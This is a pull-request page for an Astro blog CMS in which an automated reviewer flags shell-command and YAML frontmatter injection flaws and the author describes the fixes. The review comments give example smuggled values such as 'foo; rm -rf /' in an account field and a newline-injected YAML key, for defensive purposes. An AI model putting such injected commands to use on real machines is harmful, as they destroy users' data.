scripts/generate-sitemap.ts line 33 uses yaml.load(frontmatterStr) without specifying a schema, while src/lib/markdown.ts correctly uses yaml.load(frontmatterStr, { schema: yaml.JSON_SCHEMA }). While js-yaml defaults to safe behavior in v4+, explicitly specifying JSON_SCHEMA is the documented fix mentioned in the PR. Without it, there may be version-specific or configuration-specific edge cases where unsafe YAML types could be parsed.
Suggested fix: Add { schema: yaml.JSON_SCHEMA } as the second argument to yaml.load() for consistency with src/lib/markdown.ts
- Escape siteUrl with escapeXml() in sitemap generation (both server.ts and generate-sitemap.ts) - Use yaml.JSON_SCHEMA in generate-sitemap.ts for consistent safe YAML parsing - This ensures malformed siteUrl can't break XML parsing
There was a problem hiding this comment.
Gitzilla has reviewed your changes and found 3 potential issues.
Autofix is OFF. To automatically fix reported issues, enable autofix in the Gitzilla dashboard.
| // Save Site Config | ||
| document.getElementById('save-site-config').addEventListener('click', () => { | ||
| const url = document.getElementById('site-url').value.trim(); | ||
| const formId = document.getElementById('formspree-id').value.trim(); | ||
|
|
||
| if (!url) { |
There was a problem hiding this comment.
Shell command injection in deploy command via unsanitized project/account values
High Severity
The deploy command in src/pages/admin/deploy.astro constructs a shell command by directly interpolating account and project values from localStorage without escaping. An attacker who can modify localStorage values (via XSS or browser dev tools) could inject arbitrary shell commands.
The vulnerable code is:
const command = `export CF_API_TOKEN="your-token-here" && export CF_ACCOUNT_ID=${account} && bunx wrangler pages deploy dist --project-name=${project}`;If account contains foo; rm -rf /, the command becomes:
export CF_ACCOUNT_ID=foo; rm -rf / && bunx wrangler pages deploy dist --project-name=...This allows arbitrary command execution on the user's machine when they run the displayed command.
Suggested fix: Add shell escaping for the account and project values. Use a function like escapeShellArg() to wrap values in single quotes and escape any existing single quotes:
function escapeShellArg(str) {
if (!str) return "''";
return "'" + str.replace(/'/g, "'\\''") + "'";
}
const command = `export CF_API_TOKEN="your-token-here" && export CF_ACCOUNT_ID=${escapeShellArg(account)} && bunx wrangler pages deploy dist --project-name=${escapeShellArg(project)}`;Or use Wrangler's config file approach and environment variables instead of command-line arguments to completely avoid shell interpolation.
| ) : ( | ||
| <div class="space-y-6"> | ||
| {publishedPosts.map(post => ( | ||
| <article class="bg-white dark:bg-gray-800 rounded-lg shadow-sm border border-gray-200 dark:border-gray-700 p-6 hover:shadow-md transition"> |
There was a problem hiding this comment.
Blog/page URLs include .md extension from content IDs
Medium Severity
In src/pages/blog/index.astro (line 68) and src/pages/blog/[slug].astro (line 11), post.id is used directly for URL construction. With Astro's glob loader, post.id includes the file extension (e.g., "welcome.md"), resulting in URLs like /blog/welcome.md instead of clean URLs like /blog/welcome. The same issue affects pages at src/pages/[slug].astro (lines 9, 22). This breaks the standard static site convention of extension-less URLs and may cause issues with CDN caching, URL normalization, and SEO.
Suggested fix: Strip the .md extension when constructing URLs: use post.id.replace(/\.md$/, '') or create a helper function to normalize IDs for URL use.
|
|
||
| // Save Cloudflare Config | ||
| document.getElementById('save-cf-config').addEventListener('click', () => { | ||
| const project = document.getElementById('cf-project').value.trim(); | ||
| const token = document.getElementById('cf-token').value.trim(); | ||
| const account = document.getElementById('cf-account').value.trim(); | ||
|
|
||
| if (!project || !token || !account) { | ||
| alert('Please fill in all fields!'); | ||
| alert('Please fill in all Cloudflare fields!'); | ||
| return; | ||
| } | ||
|
|
||
| localStorage.setItem('cf_project', project); | ||
| localStorage.setItem('cf_token', token); | ||
| localStorage.setItem('cf_account', account); | ||
| storedToken = token; | ||
| localStorage.setItem(CF_PROJECT_KEY, project); | ||
| localStorage.setItem(CF_TOKEN_KEY, token); |
There was a problem hiding this comment.
Shell command injection via config file load in deploy.astro
Medium Severity
The deploy command interpolates project and account values from localStorage directly into a shell command without sanitization. While the save-config function intentionally excludes the token, it still saves project and account values. If a user loads a maliciously crafted config file with shell metacharacters (e.g., project: "test; rm -rf / #"), and then clicks the deploy button, arbitrary shell commands could be executed on the user's machine. The project and account values from config are set directly to localStorage without any validation or escaping before being used in the command string.
Suggested fix: Validate project and account against a strict pattern (alphanumeric, dash, underscore only) when loading from config, or encode/shell-escape the values before interpolating into the command. Alternatively, validate on save.
Remove characters that could be exploited in shell command: ; & | ` $ < > \ This prevents potential command injection if a malicious config file is loaded.
There was a problem hiding this comment.
Gitzilla has reviewed your changes and found 1 potential issue.
Autofix is OFF. To automatically fix reported issues, enable autofix in the Gitzilla dashboard.
| function escapeYAML(str) { | ||
| if (!str) return ''; | ||
| return str.replace(/"/g, '\\"').replace(/\n/g, '\\n'); | ||
| } |
There was a problem hiding this comment.
YAML injection risk in frontmatter via newline escaping flaw
Medium Severity
The escapeYAML() function in posts.astro and pages.astro converts actual newlines to literal \n characters: str.replace(/\n/g, '\\n'). When content contains actual newlines, they become literal \n strings. When Astro parses this YAML and re-serializes it, the literal \n becomes actual newlines in the output. This could cause frontmatter parsing issues if the resulting newlines appear in unexpected positions relative to the --- delimiters, leading to file corruption or malformed content.
Suggested fix: Use a proper YAML library for escaping in both JavaScript (admin) and TypeScript (server) code, or ensure the regex-based frontmatter extraction in markdown.ts is used consistently for both reading and writing content.
Content lines containing --- would prematurely end the frontmatter block. Now escaping --- to \-\-\- to prevent YAML parsing issues.
There was a problem hiding this comment.
Gitzilla has reviewed your changes and found 5 potential issues.
Autofix is OFF. To automatically fix reported issues, enable autofix in the Gitzilla dashboard.
| return str.replace(/&/g, '&').replace(/</g, '<').replace(/>/g, '>').replace(/"/g, '"').replace(/'/g, '''); | ||
| } | ||
|
|
||
| function escapeYAML(str) { | ||
| if (!str) return ''; | ||
| return str.replace(/"/g, '\\"').replace(/\n/g, '\\n'); | ||
| } |
There was a problem hiding this comment.
YAML frontmatter --- escape produces invalid escape sequence
High Severity
The formatFrontmatter function in posts.astro and pages.astro attempts to escape --- sequences using content.replace(/^---$/gm, '\\-\\-\\-'). In JavaScript, '\\-\\-\\-' becomes the literal string \-\-\-. However, \-\-\- is NOT a valid YAML escape sequence—YAML only recognizes specific escapes like \n, \t, \", etc. The YAML parser will interpret \-\-\- as literal characters, which does not prevent --- from being recognized as a document separator. A user can still inject content that breaks out of frontmatter by starting their post with ---.
Suggested fix: Either check if content starts with --- and prepend a newline, or use proper YAML block scalar syntax. For example: if (post.content.startsWith('---')) content = '\n' + content;
| const lines = [ | ||
| '---', | ||
| `title: "${escapeYAML(post.title)}"`, | ||
| `date: ${post.date}`, |
There was a problem hiding this comment.
Missing fallback for undefined date in formatFrontmatter
Medium Severity
The formatFrontmatter function inserts post.date directly without a fallback: date: ${post.date}. While the save function sets date: new Date().toISOString().split('T')[0], if post.date is undefined (from corrupted localStorage, manual edits, or API responses), this produces date: undefined which is invalid YAML syntax.
Suggested fix: Use a fallback: date: ${post.date || new Date().toISOString().split('T')[0]}
| function formatFrontmatter(post) { | ||
| const lines = [ | ||
| '---', | ||
| `title: "${escapeYAML(post.title)}"`, | ||
| `date: ${post.date}`, | ||
| `excerpt: "${escapeYAML(post.excerpt || '')}"`, | ||
| `published: ${post.published}`, | ||
| '---', | ||
| '', | ||
| ]; | ||
| if (post.content) { | ||
| // Escape any --- sequences that would prematurely end frontmatter | ||
| const escapedContent = post.content.replace(/^---$/gm, '\\-\\-\\-'); | ||
| lines.push(...escapedContent.split('\n')); | ||
| } | ||
| return lines.join('\n'); | ||
| } |
There was a problem hiding this comment.
YAML injection via unquoted date field in frontmatter generation
High Severity
In src/pages/admin/posts.astro, the formatFrontmatter function generates YAML frontmatter with an unquoted date field at line 131: date: ${post.date}. If post.date contains a newline character, it breaks out of the field value and allows injection of arbitrary YAML keys.
Example attack: setting date to 2024-01-01\nauthor: "injected" produces:
---
title: "..."
date: 2024-01-01
author: "injected"
---This injects an additional author field into the frontmatter. The same vulnerability exists in pages.astro at line 109 with date: ${page.date || ...}.
Both locations should quote and escape the date value like: `date: "${escapeYAML(post.date)}"`.
Suggested fix: Quote and escape the date field: date: "${escapeYAML(post.date)}"
| } | ||
|
|
||
| function escapeYAML(str) { | ||
| if (!str) return ''; | ||
| return str.replace(/"/g, '\\"').replace(/\n/g, '\\n'); | ||
| } | ||
|
|
||
| function formatFrontmatter(page) { | ||
| const lines = [ | ||
| '---', | ||
| `title: "${escapeYAML(page.title)}"`, | ||
| `date: ${page.date || new Date().toISOString().split('T')[0]}`, | ||
| '---', | ||
| '', | ||
| ]; | ||
| if (page.content) { |
There was a problem hiding this comment.
YAML injection via unquoted date field in pages frontmatter generation
High Severity
In src/pages/admin/pages.astro, the formatFrontmatter function at line 109 uses an unquoted date field: date: ${page.date || new Date().toISOString().split('T')[0]}. If the page's date value contains a newline, it injects arbitrary YAML structure. This is the same vulnerability as in posts.astro but affects page exports.
The date field should be quoted and escaped: `date: "${escapeYAML(page.date || new Date().toISOString().split('T')[0])}"`.
Suggested fix: Quote and escape the date field: date: "${escapeYAML(page.date || new Date().toISOString().split('T')[0])}"
| if (config.cloudflare.token) { | ||
| localStorage.setItem(CF_TOKEN_KEY, config.cloudflare.token); | ||
| document.getElementById('cf-token').value = config.cloudflare.token; | ||
| document.getElementById('cf-token').placeholder = maskToken(config.cloudflare.token); | ||
| } |
There was a problem hiding this comment.
Config load/save asymmetry breaks token restoration
Medium Severity
The save-config function explicitly omits the token from the exported JSON for security reasons (line 252-255), but the load-config function only checks for config.cloudflare.token (lines 302-306). This creates two problems:
- Saved config files can never restore the API token — the user must re-enter it every time
- Old config files using the flat
config.tokenformat are not supported for token restoration
The result is that after exporting a config, users cannot re-import their API token. The load function needs a fallback check for config.token (the old flat format) to provide backward compatibility for users with existing config files.
Suggested fix: Add a fallback to load token from old flat format: const token = config.cloudflare?.token || config.token; and then restore it to localStorage.
Summary of Security Fixes
Critical/High Priority Fixed
styletag, addedstyleto FORBID_ATTRallow-scriptsonlyNot Fixed (Documented Reasons)
Files Changed
src/server.ts- Sitemap config, slug validation, path traversal fixsrc/lib/markdown.ts- YAML safe parsing, DOMPurify configsrc/layouts/BaseLayout.astro- CSS injection protectionadmin/index.html- Media URL whitelist, iframe sandboxsrc/pages/admin/deploy.astro- Token handlingsrc/lib/config.ts- isProduction() improvementsrc/content.config.ts- Pages published fieldscripts/generate-sitemap.ts- Pages filtering